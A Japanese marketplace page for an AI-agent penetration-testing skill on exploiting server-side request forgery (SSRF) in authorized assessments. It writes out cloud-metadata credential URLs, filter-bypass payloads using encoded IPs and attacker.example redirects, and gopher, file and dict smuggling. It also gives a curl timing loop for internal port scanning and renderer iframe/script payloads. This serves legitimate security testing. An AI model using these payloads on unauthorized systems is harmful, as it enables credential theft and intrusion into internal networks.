mcpField
E
exploiting-ssrf

exploiting-ssrf

github.com/trilwuセキュリティ17755 回インストール12 週間前に更新
リポジトリ

exploiting-ssrf について

許可されたセキュリティ評価でサーバーサイドリクエストフォージェリを発見・検証するスキルです。ブラインド検出、URLフィルターの回避、クラウドメタデータへの到達性、影響評価を扱い、テスト範囲の確認も重視します。

主な機能

  1. 01URL取得入力の特定
  2. 02帯域外通信によるブラインドSSRFの確認
  3. 03フィルターやリダイレクトの回避テスト
  4. 04クラウドメタデータ露出の評価
  5. 05時間差やエラーによる到達性の推定

活用シーン

  1. 01WebhookやURLインポート機能の評価
  2. 02URL許可リストとリダイレクト処理のテスト
  3. 03許可されたテストでのメタデータ露出確認
  4. 04レンダラーにおけるブラインドSSRFの評価

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/trilwu/secskills --skill exploiting-ssrf

インストール後、Claude Code で/exploiting-ssrfを入力して読み込まれたか確認します。

詳細

SSRF の悪用

SSRF が重要なのは、サーバーがアクセスできても、あなたにはアクセスできない対象があるためです。ロールの認証情報を保持するクラウドメタデータエンドポイント、認証のない内部サービス、コンテナネットワークなどです。脆弱性自体は単純ですが、回避策を見つけ、どの内部ターゲットが単なる探索を侵害につなげるのかを把握することが重要です。

許可を得てテストしているシステムに限ってください。

使用する場合

  • URL を取得する機能がある場合:Webhook、インポート、URL からのアバター取得、リンクプレビュー、PDF/スクリーンショット生成、XML/SVG 処理、URI によるファイル取得
  • パラメーターに URL、ホスト名、IP、または URL に変換されるパスが含まれる場合
  • ソースレビューで、ユーザーの影響を受けるターゲットへのアウトバウンド HTTP 呼び出しが見つかった場合
  • 顧客が指定したエンドポイントに「コールバック」するインテグレーションをテストする場合

使用しない場合

  • クライアントサイドリクエストフォージェリ(CSRF) — まったく別の脆弱性です
  • より広範な Web の手法 — testing-web-applications を使用してください
  • 主なタスクがソースレビューの場合 — auditing-code-for-vulnerabilities を使用してください
  • クラウド認証情報を取得した後のポストエクスプロイト — exploiting-cloud-platforms を使用してください
  • 合意したスコープを超えて、実際に内部システムへ侵入する場合 — SSRF は多くのスコープで想定される範囲を超えて到達します。進む前に確認してください

まず見つける

# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i

# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3

ほとんどの SSRF はブラインドであるため、すべての SSRF テストはアウトオブバンドリスナーから始めます。

# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits

DNS 解決だけでも陽性の兆候です。 HTTP リクエストがなく DNS ルックアップだけがある場合、サーバーがホストを解決した後に接続をブロックしたことを示すのが一般的です。SSRF は存在し、フィルターが妨げになっているため、パラメーターを諦めずに回避策を試すべきだと分かります。

クラウドメタデータ:価値の高いターゲット

# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.

# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
    X-aws-ec2-metadata-token: <token>

# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
    Metadata: true

# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    Metadata-Flavor: Google

# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/pods

ここで取得した認証情報は exploiting-cloud-platforms に引き継ぎます。「内部 URL が取得された」という内容ではなく、そのロールで何ができるかに応じた深刻度で報告してください。

ほかにも到達する価値のある対象:ループバックにバインドされた管理インターフェースの http://localhost:<port>、Redis と Memcached(デフォルトでは認証がなく、クライアントがサポートしていれば gopher:// 経由で到達可能)、9200 番ポートの Elasticsearch、http://localhost:2375/containers/json 経由の Docker ソケット、内部の CI/CD ダッシュボードです。

フィルターの回避策

以下の順に試してください。最初の 3 つで、単純なフィルターのほとんどを回避できます。

Alternate IP encodings for 169.254.169.254
  2852039166            decimal
  0251.0376.0251.0376   octal
  0xA9FEA9FE            hex
  ①⑥⑨.②⑤④…            unicode digits (some parsers normalize)

Alternate localhost
  127.0.0.1  127.1  127.000.000.1  0.0.0.0  0  [::1]  [::ffff:127.0.0.1]
  localtest.me   spoofed.burpcollaborator.net    (public DNS → 127.0.0.1)

DNS pointing where you want
  Register a name whose A record is 169.254.169.254 or an internal IP

URL parser confusion — the fetcher and the validator disagree
  http://[email protected]/
  http://169.254.169.254#expected.com/
  http://expected.com.attacker.example/
  http://attacker.example\@expected.com/
  http://[::]:80/
  Case, trailing dots, double slashes, and %2e%2e%2f in the path

Redirect chains — validator checks the first URL, fetcher follows the 302
  https://attacker.example/redirect → 302 → http://169.254.169.254/...

Protocol smuggling, when the client supports it
  file:///etc/passwd
  gopher://127.0.0.1:6379/_SET%20key%20value      (Redis via raw TCP)
  dict://127.0.0.1:11211/stat

DNS リバインディングは、解決してチェックした後に HTTP クライアントで再度解決させるバリデーターを回避します。最初のルックアップではパブリック IP を返し、2 回目では内部 IP を返します。これは「IP を解決してチェックしている」という対策を回避する方法です。堅牢な防御策は、一度だけ解決し、そのアドレスに接続することです。

最もよく見落とされるのはリダイレクトです。 明示的にテストしてください。最初の URL を承認するバリデーターと、follow_redirects=True を設定した HTTP クライアントの組み合わせは、完全な回避策になります。これは、ほとんどの HTTP ライブラリのデフォルト設定です。

ブラインド SSRF

レスポンス本文が得られない場合:

  1. アウトオブバンドでの確認 — DNS と HTTP のヒットにより、リクエストが発生したことを確認できます。
  2. タイミング — サービスが稼働している内部 IP はすぐに応答し、フィルターで遮断されたものはタイムアウトまで応答しません。この差を利用すれば、ポートスキャナーになります。
  3. エラーの差異 — 「画像が無効」と「接続が拒否されました」とタイムアウトの違いから、ポートが開いているか、閉じているか、フィルタリングされているかを判別できます。
  4. 二次的な影響 — HTTP レスポンスに取得内容が含まれない場合でも、レンダリングされた PDF やサムネイルにその内容が含まれることがあります。
# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
  s=$(date +%s%N)
  curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
  echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
done

レンダラーには個別の注意が必要です。HTML から PDF への変換サービスやスクリーンショットサービスは、サーバー側で完全なブラウザーを実行します。そのため、送信した HTML に <iframe src="http://169.254.169.254/..."> や <script>fetch(...)</script> を含めると、読み取り可能なレスポンスが出力ドキュメントにレンダリングされる SSRF が可能です。

拒否すべき合理化

  • 「許可リストにある https:// URL だけを受け付けます」 許可リストを信頼する前に、リダイレクト、DNS リバインディング、パーサーの誤解釈をテストしてください。
  • 「レスポンスが返らないので、悪用できません」 IMDSv1 に到達するブラインド SSRF でも認証情報は窃取されます。また、レンダラーはコンテンツを間接的に返します。
  • 「IMDSv2 を使っているので、SSRF は軽減されています」 単純な URL フェッチャーに対してのみ有効です。リクエストをプロキシする SSRF なら引き続き到達でき、IMDSv2 は内部ネットワークの残りの部分には何の効果もありません。
  • 「単なる内部 IP なので、深刻度は低いです」 深刻度は、内部のターゲットが何をするかで決まります。評価する前に列挙してください。
  • 「169.254.169.254 はブロックしています」 エンコード表現、そのアドレスを指す DNS レコード、IPv6 とリンクローカルの各種表現を試してください。
  • 「ライブラリが URL を検証します」 ライブラリは検証後に再解決します。これがリバインディングの隙です。
  • 「影響を示すために内部ネットワーク全体をマッピングします」 到達可能性を確認したら、そこでやめて、スコープを確認してください。SSRF は、ほとんどのエンゲージメントで許可されている範囲を超えて侵入します。

ATT&CK の対象範囲

secskills-core/ttp-index.json から生成されています。このファイルを編集してから、python3 scripts/sync_attack.py --write を実行してください。レポートで引用する前に、現在の ATT&CK リリースに照らして ID を再確認してください。

初期アクセス(TA0001)

  • T1190 公開アプリケーションの悪用 — 関連項目:testing-web-applications、testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-xxe

認証情報アクセス(TA0006)

  • T1552.005 クラウドインスタンスのメタデータ API — 関連項目:exploiting-cloud-platforms、attacking-eks-gke-aks

これらに関する検出コンテンツ:engineering-detections。プロアクティブな検索:hunting-threats。侵害後の対応:responding-to-incidents。

参考資料

  • testing-web-applications — 関連する手法
  • exploiting-cloud-platforms — 取得したロール認証情報の活用方法
  • auditing-code-for-vulnerabilities — ソースコード内のアウトバウンド呼び出しの特定
  • testing-apis、attacking-graphql — API パラメーター経由で到達する SSRF
  • Burp Collaborator、interact.sh、SSRFmap、gopherus、nslookup/dig

コメント